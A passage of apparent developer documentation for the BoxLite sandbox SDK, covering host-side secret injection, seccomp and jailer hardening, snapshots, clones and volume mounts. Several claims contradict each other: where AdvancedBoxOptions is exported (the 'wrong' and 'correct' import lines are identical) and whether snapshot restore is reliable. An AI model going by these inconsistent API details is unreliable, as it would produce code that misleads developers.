`BrowserBox.endpoint()` fails to connect to WebKit | `endpoint()` (direct CDP/BiDi) does not support WebKit | Use `playwright_endpoint()` (Playwright Server mode, supports all browsers) | | Node: `import { Boxlite } from 'boxlite'` reports a missing module/export | The package name should be `@boxlite-ai/boxlite`, and there is no bare `Boxlite` class | Use `import { CodeBox } from "@boxlite-ai/boxlite"`; the runtime handle class is `JsBoxlite` | # Inject secrets and harden a box Source: https://docs.boxlite.ai/manage-sandbox/secrets-and-security Deliver credentials to a sandbox without letting the sandbox see them, and tighten the isolation boundary so untrusted code runs safely. Two independent capabilities, usually used together. **`Secret`** keeps the credential on the host: sandbox code writes a placeholder such as ``, and the host proxy substitutes the real value on the way out. **`SecurityOptions`** hardens the OS-level sandbox around the VM — jailer, seccomp, resource limits. ## Quick Example ### Inject a credential (Secret) The following calls an external API from inside the sandbox: the in-sandbox script only knows the placeholder ``, while the real credential `` stays on the host and is injected by the proxy on egress. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio # SimpleBox is the recommended high-level entry point (async context manager). # Secret is exported at the top level; secrets= is passed through to the underlying BoxOptions via **kwargs. from boxlite import SimpleBox, Secret async def main() -> None: secret = Secret( name="demo", # the placeholder defaults to value="", # TODO: replace with a real credential; it exists only on the host side hosts=["api.example.com"], # injected only when requesting these hosts (supports *.example.com wildcards) ) try: async with SimpleBox(image="python:slim", secrets=[secret]) as box: # the in-guest script uses the placeholder, not the real key. # on egress to api.example.com, the host proxy replaces the placeholder with the real value. script = ( "import urllib.request\n" "req = urllib.request.Request(\n" " 'https://api.example.com/v1/ping',\n" " headers={'Authorization': 'Bearer '},\n" ")\n" "print(urllib.request.urlopen(req, timeout=10).status)\n" ) result = await box.exec("python", "-c", script) # a non-zero exit code does not raise; check exit_code yourself. if result.exit_code != 0: print("command failed:", result.stderr) else: print(result.stdout) except RuntimeError as e: # image pull failure / startup failure with no virtualization both raise a standard RuntimeError. print("box failed to start:", e) if __name__ == "__main__": asyncio.run(main()) ``` > Note: `api.example.com` above is a **placeholder host** with no `/v1/ping` endpoint, so running this as-is yields a non-zero `exit_code`. To verify that injection works, replace both `hosts` and the request target with a real, reachable HTTPS service that echoes request headers, and enable network egress. The following is a minimal verification (using `httpbin.org/headers` to echo the `Authorization` header): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import uuid import boxlite from boxlite import Secret REAL_TOKEN = "" # <-- replace; stays on the host, never enters the box async def main() -> None: secret = Secret(name="testkey", value=REAL_TOKEN, hosts=["httpbin.org"]) runtime = boxlite.Boxlite.default() box = None try: box = await runtime.create( boxlite.BoxOptions( image="alpine:latest", auto_remove=False, # injection requires egress through the proxy: enable the network and allow the target host network=boxlite.NetworkSpec(mode="enabled", allow_net=["httpbin.org"]), secrets=[secret], ), name=f"secret-demo-{uuid.uuid4().hex[:8]}", ) # in the guest, BOXLITE_SECRET_TESTKEY is the placeholder; the real value is not in env ex = await box.exec( "wget", [ "-q", "-O-", "--header", "Authorization: Bearer ", "https://httpbin.org/headers", ], ) body = "".join([line async for line in ex.stdout()]) result = await ex.wait() # the Authorization header in the body is the real value (the placeholder was replaced by the proxy # on egress; the real value never entered the guest). print("exit:", result.exit_code, "real value reached upstream:", REAL_TOKEN in body) finally: if box is not None: try: await box.stop() except Exception: pass try: await runtime.remove(box.id, force=True) except Exception: pass runtime.close() if __name__ == "__main__": asyncio.run(main()) ``` Output excerpt (httpbin echo; you can see the placeholder has been replaced by the real value): ```json theme={"theme":{"light":"github-light","dark":"github-dark"}} { "headers": { "Authorization": "Bearer ", "Host": "httpbin.org", ... } } ``` > Note: the guest also gets an environment variable `BOXLITE_SECRET_TESTKEY=` injected automatically (the placeholder, **not** the real value), which you can verify with `printenv BOXLITE_SECRET_TESTKEY`. The real value is not found in `env`, confirming that the real credential never enters the guest. The variable key is derived from the secret name as `BOXLITE_SECRET_{NAME}` (uppercased, with non-alphanumeric characters replaced by `_`). ### Tighten isolation (SecurityOptions) For untrusted workloads, use the `maximum()` preset to enable all isolation. Note: `security` must be passed through `advanced=AdvancedBoxOptions(...)`; **there is no top-level `security=` keyword**, and `AdvancedBoxOptions` is exported only under the `boxlite.boxlite` submodule. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, SecurityOptions # AdvancedBoxOptions is exported at the top level. from boxlite import AdvancedBoxOptions async def main() -> None: advanced = AdvancedBoxOptions(security=SecurityOptions.maximum()) try: # advanced= is passed through to the underlying BoxOptions via SimpleBox's **kwargs. async with SimpleBox(image="alpine:latest", advanced=advanced) as box: result = await box.exec("id") if result.exit_code != 0: print("command failed:", result.stderr) else: print(result.stdout) except RuntimeError as e: print("box failed to start:", e) if __name__ == "__main__": asyncio.run(main()) ``` ### Combining the two (credentials plus isolation) ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, Secret, SecurityOptions from boxlite import AdvancedBoxOptions async def main() -> None: secret = Secret( name="demo", value="", # TODO: replace with a real credential hosts=["api.example.com"], ) advanced = AdvancedBoxOptions(security=SecurityOptions.maximum()) try: async with SimpleBox( image="python:slim", secrets=[secret], advanced=advanced, ) as box: result = await box.exec("echo", "secrets + hardening ready") print(result.stdout if result.exit_code == 0 else result.stderr) except RuntimeError as e: print("box failed to start:", e) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // the package name is @boxlite-ai/boxlite (not 'boxlite'). Pure ESM. import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // SimpleBox implements AsyncDisposable; use `await using` for automatic release. await using box = new SimpleBox({ image: "python:slim", secrets: [ { name: "demo", value: "", // TODO: replace with a real credential hosts: ["api.example.com"], // when placeholder is omitted, it defaults to }, ], // Node has no maximum() preset; pass the object directly (seccomp takes effect on Linux only). security: { jailerEnabled: true, seccompEnabled: true, maxOpenFiles: 1024, maxProcesses: 100, closeFds: true, }, }); const result = await box.exec("echo", "secrets + hardening ready"); console.log(result.exitCode === 0 ? result.stdout : result.stderr); } catch (err) { // a missing command / pull failure throws a bare Error, not necessarily BoxliteError. console.error("box failed:", err); } } main(); ``` In the Node SDK, `secrets` and `security` are both direct fields of `SimpleBoxOptions` (there is no `advanced` wrapper layer), and `SecurityOptions` is expressed as a plain object (there is no `maximum()` static preset). ## Parameters and Returns ### `Secret(name, value, hosts=[], placeholder=None)` Constructor signature: see `sdks/python/src/options.rs`. | Parameter | Type | Required | Description | | - | - | - | - | | `name` | `str` | Required | Human-readable name for the credential (such as `"openai"`). When `placeholder` is not set explicitly, the placeholder is derived as ``. | | `value` | `str` | Required | The real credential value. **It exists only on the host side and never enters the guest VM.** | | `hosts` | `list[str]` | **Set this** (default `[]`) | Restrict injection to these hosts. Exact matches (`api.openai.com`) and wildcards (`*.openai.com`). **Leaving it empty places no host restriction on injection** — with untrusted code in the sandbox, always scope it. | | `placeholder` | `str \| None` | Optional (default `None`) | The placeholder string that appears in guest HTTP headers. Defaults to ``. | Injection entry point: `BoxOptions(secrets=[Secret(...)])`, or passed through via `SimpleBox(..., secrets=[...])`. Node uses `{ name, value, hosts?, placeholder? }`. ### `SecurityOptions` (Python) Preset static methods (`sdks/python/src/advanced_options.rs`): | Preset | When to use | jailer | seccomp | Resource limits | close\_fds | | - | - | - | - | - | - | | `SecurityOptions.development()` | Debugging (when isolation interferes with diagnosis) | off | off | none | off | | `SecurityOptions.standard()` | Most cases (recommended) | on for Linux/macOS | on for Linux | none | on | | `SecurityOptions.maximum()` | Untrusted workloads (AI sandboxes, multi-tenant) | on | on for Linux | see below | on | > Note: there is no `SecurityOptions.minimum()`; the weak-isolation preset is named `development()`. Resource limits set by `maximum()`: `max_open_files=1024`, `max_file_size=1 GiB`, `max_processes=100` (`max_memory`/`max_cpu_time` are left to the VM configuration). Custom constructor parameters (defaults per the source signature): | Parameter | Type | Default | Description | | - | - | - | - | | `jailer_enabled` | `bool` | `False` | Enable jailer isolation (Linux/macOS). | | `seccomp_enabled` | `bool` | `False` | Enable seccomp syscall filtering (**Linux only**). | | `max_open_files` | `int \| None` | `None` | Maximum number of open file descriptors. | | `max_file_size` | `int \| None` | `None` | Maximum file size (bytes). | | `max_processes` | `int \| None` | `None` | Maximum number of processes. | | `max_memory` | `int \| None` | `None` | Maximum virtual memory (bytes). | | `max_cpu_time` | `int \| None` | `None` | Maximum CPU time (seconds). | | `network_enabled` | `bool` | `True` | Whether network access is allowed in the sandbox (**macOS-relevant only**). | | `close_fds` | `bool` | `True` | Close file descriptors inherited from the host. | ### Attaching `SecurityOptions` to a box | Entry point | Form | | - | - | | Python (recommended high-level) | `SimpleBox(image=..., advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))` | | Python (lower-level BoxOptions) | `BoxOptions(image=..., advanced=AdvancedBoxOptions(security=...))` | | Node | `new SimpleBox({ image, security: { jailerEnabled, seccompEnabled, ... } })` (no `advanced` wrapper, no `maximum()` preset) | `AdvancedBoxOptions(security=None, health_check=None)`: exported only under the `boxlite.boxlite` submodule; `import boxlite; boxlite.AdvancedBoxOptions` at the top level is not available. ### `box.exec(...)` return value (`ExecResult`) | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code. A non-zero value **does not raise**; check it yourself. | | `stdout` | `str` | Standard output. | | `stderr` | `str` | Standard error. | | `error_message` | `str \| None` | Non-`None` only when the process died abnormally. | ## Troubleshooting ### `AttributeError: module 'boxlite' has no attribute 'AdvancedBoxOptions'` `AdvancedBoxOptions` lives in the `boxlite.boxlite` submodule, not the top level. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong # from boxlite import AdvancedBoxOptions # Correct from boxlite import AdvancedBoxOptions ``` ### `AttributeError: type object 'SecurityOptions' has no attribute 'minimum'` There is no `minimum()` preset. Use `SecurityOptions.development()` for weak isolation, and `standard()` / `maximum()` otherwise. ### Passing `security=` at the top level errors out `BoxOptions` / `SimpleBox` **do not** have a `security=` keyword. Security options must be wrapped in `advanced=AdvancedBoxOptions(security=...)`. Passing `security=` directly reports a `TypeError` due to the unknown keyword argument. ### The secret was not injected (the request still contains the raw placeholder / authentication fails) * The proxy substitutes placeholders in **request headers** (typically `Authorization`), the **URL query string**, and the **request body**. It does not touch the **URL path** — a placeholder there is forwarded literally. * `hosts` must match the actual outbound target host. For example, requesting `api.openai.com` with `hosts=["openai.com"]` does not match: use the exact host or the `*.openai.com` wildcard. * Egress must be **HTTPS** and pass through the BoxLite proxy; if the sandbox network is fully disabled, injection cannot occur. ### seccomp / jailer behave differently on macOS `seccomp_enabled`, `new_pid_ns`, `new_net_ns`, and chroot are **Linux-only**. Setting them on macOS does not error — the runtime logs a `warn` and ignores them. `seccomp_enabled` **takes effect only on Linux** (`standard()`/`maximum()` already guard it internally with `cfg!(target_os = "linux")`). On macOS, even setting it to `True` does not enable seccomp; this is a platform difference. The jailer is available on both Linux and macOS. ### Isolation is blocking your program and you cannot tell which layer Downgrade temporarily to confirm it, then put it back — do not ship with isolation off: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import SecurityOptions debug_only = SecurityOptions.development() # jailer and seccomp both off — diagnosis only ``` Once the interference is confirmed, return to `standard()` or `maximum()` and narrow the specific field instead. Which field touches which layer is on [Security and isolation](/architecture/security-and-isolation#what-each-switch-turns-off). ### The box fails to start (`RuntimeError`) — virtualization unavailable BoxLite depends on hardware virtualization: * **Linux**: requires KVM (`/dev/kvm` accessible); WSL2 requires KVM enabled and the user in the `kvm` group. * **macOS**: uses Apple's Hypervisor.framework and **does not need `/dev/kvm`**. * Without virtualization support, the box fails to start and raises a standard `RuntimeError` (the process stays alive and can be caught with try/except). A network hiccup during image pull also raises a `RuntimeError`, which can be caught and retried. ## See also * [Box types](/manage-sandbox/sandbox-types) — Box types and lifecycle * [Compute resources](/manage-sandbox/compute-resources) — CPU / memory / disk resource configuration # Snapshots and clones Source: https://docs.boxlite.ai/manage-sandbox/snapshots Save a sandbox's disk state, create a fully independent copy, or pack an entire sandbox into a portable archive. Three distinct primitives: **snapshot** marks a disk state in place, **clone** produces a brand-new independent box from an existing one, and **export / import** packs a box into a portable `.boxlite` archive. They are not interchangeable — the differences are in [Parameters and Returns](#parameters-and-returns). ## Which one do you need? | Need | Use | Number of copies | Cross-machine | | - | - | - | - | | Label a known-good disk state in place (**no guaranteed rollback yet**) | `snapshot.create` | 0 (in place) | No | | Produce an independent running instance | `clone_box` | 1 (new box) | No | | Migrate / back up / distribute elsewhere | `export` + `import_box` | 1 (new box) | Yes | ## End to end: clone, export, import The following walks through "write data -> clone -> export -> import -> verify data is preserved" end to end and is runnable as-is. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import tempfile import boxlite async def main() -> None: # the Boxlite runtime is a [synchronous] context manager; do not await runtime = boxlite.Boxlite.default() source = None cloned = None imported = None try: # 1) create the source box and write a marker file # auto_remove=False: export/clone require the source box to be available during the operation source = await runtime.create( boxlite.BoxOptions(image="alpine:latest", auto_remove=False), name="snapshot-demo-source", ) exec_handle = await source.exec( "sh", ["-c", "echo 'hello-from-source' > /root/marker.txt"] ) result = await exec_handle.wait() if result.exit_code != 0: raise RuntimeError("failed to write marker file") # 2) take a snapshot (a save point) within the same sandbox; can be restored at any time later info = await source.snapshot.create(name="clean-state") print(f"snapshot created: {info.name} (size_bytes={info.size_bytes})") # 3) clone a fully independent new sandbox (the source box keeps running, unaffected) cloned = await source.clone_box(name="snapshot-demo-clone") out = await cloned.exec("cat", ["/root/marker.txt"]) async for line in out.stdout(): print(f"clone reads: {line.strip()}") await out.wait() # 4) export the source box as a portable .boxlite archive, then import it as a new sandbox with tempfile.TemporaryDirectory() as export_dir: archive_path = await source.export(dest=export_dir) print(f"archive exported: {archive_path}") imported = await runtime.import_box(archive_path, name="snapshot-demo-imported") out = await imported.exec("cat", ["/root/marker.txt"]) async for line in out.stdout(): print(f"imported reads: {line.strip()}") await out.wait() except Exception as exc: # virtualization unavailable, image pull failure, etc. are raised as standard exceptions print(f"run failed: {type(exc).__name__}: {exc}") finally: # cleanup: remove is called on the [runtime], not box.remove() for box in (imported, cloned, source): if box is None: continue try: await box.stop() except Exception: pass try: await runtime.remove(box.id, force=True) except Exception: pass runtime.close() if __name__ == "__main__": asyncio.run(main()) ``` > Note: `box.snapshot` is a **property (getter)** that returns a snapshot handle; its `create/list/get/remove/restore` methods are async and require `await`. ## Parameters and Returns ### Snapshots: `box.snapshot.create / list / get / remove / restore` `box.snapshot` is a synchronous property on the Box that returns a `SnapshotHandle`. All of its methods are async. | Method | Signature | Required / optional | Description | | - | - | - | - | | `create` | `create(*, options=None, name: str)` | `name` required (keyword-only); `options` optional | Snapshots the current disk state. Returns a `SnapshotInfo` | | `list` | `list()` | — | Lists all snapshots for this sandbox. Returns `list[SnapshotInfo]` | | `get` | `get(name: str)` | `name` required | Gets a snapshot by name. Returns `SnapshotInfo \| None` (`None` if it does not exist) | | `remove` | `remove(name: str)` | `name` required | Removes the named snapshot. Returns `None` | | `restore` | `restore(name: str)` | `name` required | Restores the sandbox disk to the snapshot's state. **You must `await box.stop()` first**: calling this on a running sandbox raises `RuntimeError: Cannot restore snapshot while box is running. Stop the box first.` After `stop()` the box handle is invalidated, so re-acquire it with `runtime.get(box.id)` before calling `exec` again. The return value is empty (`()`/`None`). See the "restore behavior" section under [Troubleshooting](#troubleshooting). | > `create`'s `name` is a **keyword-only** parameter: `await box.snapshot.create(name="v1")`. `options` is currently a placeholder `SnapshotOptions()` (an empty struct) and can usually be omitted. **`SnapshotInfo` fields** (source `sdks/python/src/snapshots.rs`): | Field | Type | Description | | - | - | - | | `id` | `str` | Internal snapshot ID | | `box_id` | `str` | ID of the owning sandbox | | `name` | `str` | Snapshot name (the one you passed at creation) | | `created_at` | `int` | Creation time (Unix seconds) | | `container_disk_bytes` | `int` | Container disk size (bytes) | | `size_bytes` | `int` | Size occupied by the snapshot (bytes) | ### Clone: `box.clone_box` | Parameter | Type | Required / optional | Description | | - | - | - | - | | `options` | `CloneOptions` | Optional (keyword) | Currently an empty struct; can be omitted | | `name` | `str` | Optional (keyword) | Name of the new sandbox; auto-generated if omitted | Returns: a new `Box` (an independent disk copy). Cloning a running sandbox quiesces and resumes the source VM automatically; the cloned sandbox starts in a stopped state and starts automatically on its first `exec`. ### Export: `box.export` | Parameter | Type | Required / optional | Description | | - | - | - | - | | `dest` | `str` | **Required** (keyword) | Output directory path for the archive | | `options` | `ExportOptions` | Optional (keyword) | Currently an empty struct; can be omitted | Returns: `str` — the full path of the generated `.boxlite` archive file. ### Import: `runtime.import_box` Note: `import_box` is called on the **runtime** object, not on a box. | Parameter | Type | Required / optional | Description | | - | - | - | - | | `archive_path` | `str` | **Required** (positional) | Path of the archive previously produced by `export` | | `name` | `str` | Optional | Name of the new sandbox after import | Returns: a new `Box`. ## Node example (clone plus export/import) The corresponding Node SDK methods are `box.cloneBox(opts?, name?)`, `box.export(dest, opts?)`, and `runtime.importBox(archivePath, name?)`; the snapshot handle is reached via `box.snapshot` (`create/list/get/remove/restore`). Note the package name is `@boxlite-ai/boxlite`. ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; import { mkdtempSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; async function main(): Promise { const runtime = JsBoxlite.withDefaultConfig(); let source, cloned, imported; try { // create the source box and write a marker source = await runtime.create( { image: "alpine:latest", autoRemove: false }, "snapshot-demo-source", ); let ex = await source.exec("sh", ["-c", "echo hello > /root/marker.txt"]); await ex.wait(); // clone an independent copy cloned = await source.cloneBox(undefined, "snapshot-demo-clone"); // export then import const dir = mkdtempSync(join(tmpdir(), "boxlite-")); const archive = await source.export(dir); // returns the archive path string imported = await runtime.importBox(archive, "snapshot-demo-imported"); ex = await imported.exec("cat", ["/root/marker.txt"]); await ex.wait(); console.log("imported box available, id =", imported.id); } catch (err) { console.error("run failed:", err); } finally { for (const box of [imported, cloned, source]) { if (!box) continue; try { await runtime.remove(box.id, true); } catch { /* ignore */ } } runtime.close(); // close() is synchronous } } main(); ``` ## Troubleshooting ### Startup fails: no hardware virtualization (environment constraint) Snapshot, clone, and export all require the sandbox to start first, and starting a sandbox requires hardware virtualization: * **Linux**: requires KVM (`/dev/kvm` accessible, user in the `kvm` group). WSL2 also requires KVM enabled. * **macOS**: uses Apple's Hypervisor.framework and **does not need** `/dev/kvm`. * Without virtualization, `create`/`start` fail with a standard exception (the process itself stays alive and can be caught with try/except and surfaced). ### `AttributeError: ... has no attribute 'remove'` (calling remove on a box) Removing a sandbox must be called on the **runtime**: `await runtime.remove(box.id, force=True)`, **not** `box.remove()`. To list sandboxes, use `runtime.list_info()`, not `runtime.list()`. ### `await box.info()` errors / coroutine was never awaited `box.info()` is **async**; `await` it. It returns a `BoxInfo`, and the state is at `(await box.info()).state` (a `BoxStateInfo`, whose field is named `.status`). ### restore behavior: stop first; the handle is invalidated `snapshot.restore` has a few caveats: * **You must stop the sandbox first**: calling `await box.snapshot.restore("v1")` on a running sandbox raises `RuntimeError: invalid state: Cannot restore snapshot while box is running. Stop the box first.` (it is catchable with try/except, not a panic). Call `await box.stop()` first, then restore. * **The handle is invalidated after stop**: after `stop()`, calling `exec` on the old handle raises `RuntimeError: stopped: Handle invalidated after stop(). Use runtime.get() to get a new handle.`. Re-run `box = await runtime.get(box.id)` to obtain a fresh handle. > Limitation: `restore` re-points the sandbox at the snapshot's disk state, but it is not a guaranteed rollback of everything written since — writes already flushed by a running guest can survive. When you need a guaranteed clean environment, prefer `clone_box` or `export` / `import_box`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # correct restore call sequence await box.stop() await box.snapshot.restore("v1") # returns () box = await runtime.get(box.id) # the handle must be re-acquired after stop out = await box.exec("cat", ["/root/x.txt"]) ``` ### Removing a snapshot the "current disk depends on" raises `RuntimeError` Calling `snapshot.remove(name)` on a snapshot the "current disk currently depends on" (for example, one you restored to) raises: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: invalid state: Cannot remove snapshot: current disk depends on this snapshot. Restore a different snapshot first. ``` This is a catchable standard exception. Restore to a different snapshot first, or remove a snapshot that is not depended upon. ### Image pull failure raises `RuntimeError` A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ### `SnapshotHandle.create() takes 0 positional arguments but 1 was given` `create`'s signature is `create(*, options=None, name)` — `name` is keyword-only: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} await box.snapshot.create(name="v1") # correct # await box.snapshot.create("v1") # TypeError, as above ``` ### Cloning under the default `auto_remove` makes context exit fail Clone and export both work while the source box is running. The problem shows up at teardown: with the default `auto_remove=True`, leaving the context tries to remove a box the clone still depends on, and the exit itself raises: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: invalid state: Cannot remove box: boxes [] have clone dependencies on it. Remove those first or use force=true. ``` Pass `auto_remove=False` on any box you intend to clone or export, and remove it yourself once the clones are gone: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import boxlite opts = boxlite.BoxOptions(image="alpine:latest", auto_remove=False) ``` Looking a clone source up after it is gone returns `None` rather than raising, so the failure you actually see is `AttributeError: 'NoneType' object has no attribute 'clone_box'`. # Volumes and mounts Source: https://docs.boxlite.ai/manage-sandbox/volumes Mount a host directory into the sandbox so both sides read and write the same files. A file written inside the sandbox appears on the host immediately, and the reverse. Use it to feed in a dataset or repository, to mount weights and configuration read-only, or to keep results after a box is destroyed. The host path must be **absolute and already exist**. ## Quick Example Mount a host directory read-write at `/workspace` in the sandbox, write a file from inside the sandbox, then return to the host to verify that it appears. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import tempfile import boxlite async def main(): # 1. prepare a host directory and place a file in it # in production, replace with your own directory, e.g. "/data" with tempfile.TemporaryDirectory() as host_dir: with open(os.path.join(host_dir, "hello.txt"), "w") as f: f.write("from host\n") try: # 2. mount: tuple (host path, in-sandbox path) -- read-write by default async with boxlite.SimpleBox( image="alpine:latest", volumes=[(host_dir, "/workspace")], ) as box: # 3. the sandbox can see the file the host placed in ls = await box.exec("cat", "/workspace/hello.txt") print("guest reads host file:", ls.stdout.strip()) # 4. write a new file from inside the sandbox await box.exec( "sh", "-c", "echo 'from guest' > /workspace/from_guest.txt", ) # 5. verify back on the host (after with exits the sandbox is destroyed, but files in the mounted directory remain) guest_file = os.path.join(host_dir, "from_guest.txt") with open(guest_file) as f: print("host reads guest file:", f.read().strip()) except RuntimeError as e: # image pull failure / no virtualization raises a standard RuntimeError print("box failed to start:", e) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; import { mkdtempSync, writeFileSync, readFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; async function main() { // in production, replace with your own directory, e.g. "/data" const hostDir = mkdtempSync(join(tmpdir(), "boxlite-")); writeFileSync(join(hostDir, "hello.txt"), "from host\n"); try { // Node uses an array of objects: { hostPath, guestPath, readOnly? } await using box = new SimpleBox({ image: "alpine:latest", volumes: [{ hostPath: hostDir, guestPath: "/workspace" }], }); const ls = await box.exec("cat", "/workspace/hello.txt"); console.log("guest reads host file:", ls.stdout.trim()); await box.exec("sh", "-c", "echo 'from guest' > /workspace/from_guest.txt"); // await using exit automatically destroys the sandbox; files in the mounted directory remain on the host const back = readFileSync(join(hostDir, "from_guest.txt"), "utf8"); console.log("host reads guest file:", back.trim()); } catch (e) { console.error("box failed to start:", e); } } main(); ``` *** ## Parameters and Returns Mounts are configured through the `volumes` parameter on `BoxOptions` / `SimpleBox`. Each element describes one mount. ### Python: a `volumes` element accepts three forms | Form | Shape | Description | | - | - | - | | 2-tuple | `(host, guest)` | Host path plus in-sandbox path; **read-write by default** | | 3-tuple | `(host, guest, read_only)` | The third element is a **bool**: `True` = read-only, `False` = read-write | | dict | `{"host": ..., "guest": ..., "read_only": ...}` | Also accepts the keys `host_path` / `guest_path` / `ro`; when `read_only` is omitted, the mount is read-write | Field types: | Field | Type | Required | Description | | - | - | - | - | | `host` (or `host_path`) | `str` | Yes | An **existing absolute path** on the host | | `guest` (or `guest_path`) | `str` | Yes | The mount point inside the sandbox, e.g. `/workspace` | | `read_only` (or `ro`) | `bool` | No (default `False`) | `True` = read-only mount; `False` = read-write | > Key point (the most common mistake): the third element is a **boolean** `True`/`False`, **not** the string `"ro"`/`"rw"`. The string syntax is only for the CLI form `boxlite -v host:guest:ro` and is not interchangeable with the SDK. Read-only mount example: ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: async with boxlite.SimpleBox( image="alpine:latest", volumes=[ # read-only mount: writes to /config from inside the sandbox will fail ("/config", "/config", True), # read-write mount (default): outputs are written back to the host ("/output", "/output", False), ], ) as box: r = await box.exec("ls", "-la", "/config") print(r.stdout) except RuntimeError as e: print("box failed to start:", e) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { try { await using box = new SimpleBox({ image: "alpine:latest", volumes: [ { hostPath: "/config", guestPath: "/config", readOnly: true }, { hostPath: "/output", guestPath: "/output" }, ], }); const r = await box.exec("ls", "-la", "/config"); console.log(r.stdout); } catch (e) { console.error("box failed to start:", e); } } main(); ``` In Node, a `volumes` element is an object: | Field | Type | Required | Description | | - | - | - | - | | `hostPath` | `string` | Yes | An existing absolute path on the host | | `guestPath` | `string` | Yes | The mount point inside the sandbox | | `readOnly` | `boolean` | No (default `false`) | `true` = read-only | ### Return value `volumes` is a creation-time configuration option and has no return value of its own. Whether a mount took effect is observed by inspecting files with `exec` inside the sandbox. `exec` returns an `ExecResult`: | Field | Type | Description | | - | - | - | | `exit_code` / `exitCode` | `int` | Command exit code (a non-zero value **does not raise**; check it yourself) | | `stdout` | `str` | Standard output | | `stderr` | `str` | Standard error | *** ## Moving files without a mount A mount is the right tool when the host and the sandbox need to share a directory for the whole session. For a one-off transfer — ship in a script, pull back a result — copy the file directly. This also works when the target is a read-only mount or a tmpfs path, where writing from inside the box would not reach the host. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main(): try: async with SimpleBox(image="python:slim") as box: # Host -> sandbox await box.copy_in("/script.py", "/workspace/script.py") result = await box.exec("python", "/workspace/script.py") if result.exit_code != 0: print(f"script failed: {result.stderr}") return # Sandbox -> host await box.copy_out("/workspace/output.json", "/output.json") except FileNotFoundError as exc: print(f"host path not found: {exc}") except RuntimeError as exc: print(f"sandbox error: {exc}") asyncio.run(main()) ``` | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `host_path` / `container_src` | `str` | Yes | — | Source path. `copy_in` reads from the host; `copy_out` reads from the sandbox | | `container_dest` / `host_dest` | `str` | Yes | — | Destination path | | `overwrite` | `bool` | No | `True` | Replace an existing destination | | `follow_symlinks` | `bool` | No | `False` | Copy link targets instead of the links themselves | | `include_parent` | `bool` | No | `True` | When copying a directory, keep its own name at the destination | Both methods are `async` and return `None`; failures raise. ## Troubleshooting ### Passing the string `"ro"`/`"rw"` for `read_only` -> `TypeError` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong: the third element is written as a string volumes=[("/data", "/workspace", "ro")] ``` Error: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} TypeError: argument 'volumes': 'str' object cannot be cast as 'bool' ``` Fix: use a boolean for the third element. Use `True` for read-only, `False` for read-write (or omit the third element to get read-write): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} volumes=[("/data", "/workspace", True)] # read-only volumes=[("/data", "/workspace")] # read-write (default) ``` The strings `ro`/`rw` apply only to the CLI form `-v host:guest:ro` and should not be used with the SDK. ### A tuple whose length is not 2 or 3 -> `RuntimeError` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} volumes=[("/data",)] # only one element given volumes=[("/data", "/g", True, 1)] # one element too many ``` Error: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: volumes tuples must be (host, guest[, read_only]) ``` Fix: each mount must be written exactly as `(host, guest)` or `(host, guest, read_only)`. ### A dict missing the host / guest key -> `RuntimeError` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} volumes=[{"guest": "/workspace"}] # missing host ``` Error: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: volume dict missing host/host_path ``` Fix: the dict must contain both a host key (`host` or `host_path`) and a guest key (`guest` or `guest_path`). ### Files written to `/tmp` or `/dev/shm` are not found on the host Inside the sandbox, `/tmp` and `/dev/shm` are **tmpfs (in-memory filesystems)** provided automatically by the runtime. They are not part of any mounted host directory, and they are not persisted with the sandbox: they disappear once the sandbox is destroyed. Fix: * To write data back to the host: write to a **mounted directory** (such as `/workspace` in the example), not to `/tmp`. * The destination of `copy_in` / `copyIn` should also avoid tmpfs paths (such as `/tmp`, `/dev/shm`); otherwise the copied files will not land in the expected persistent layer of the container. Use a non-tmpfs path such as `/root/` instead. * The SDK **does not** expose parameters to customize the tmpfs size or mount point; tmpfs is managed entirely by the runtime internally. ### Writing a file fails on a read-only mount On a read-only mount (`read_only=True`), any write to that path from inside the sandbox fails (typically `Read-only file system`). A non-zero exit code from `exec` **does not raise**; check `exit_code` yourself: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} r = await box.exec("sh", "-c", "echo x > /config/test.txt") if r.exit_code != 0: print("write blocked (expected for read-only mount):", 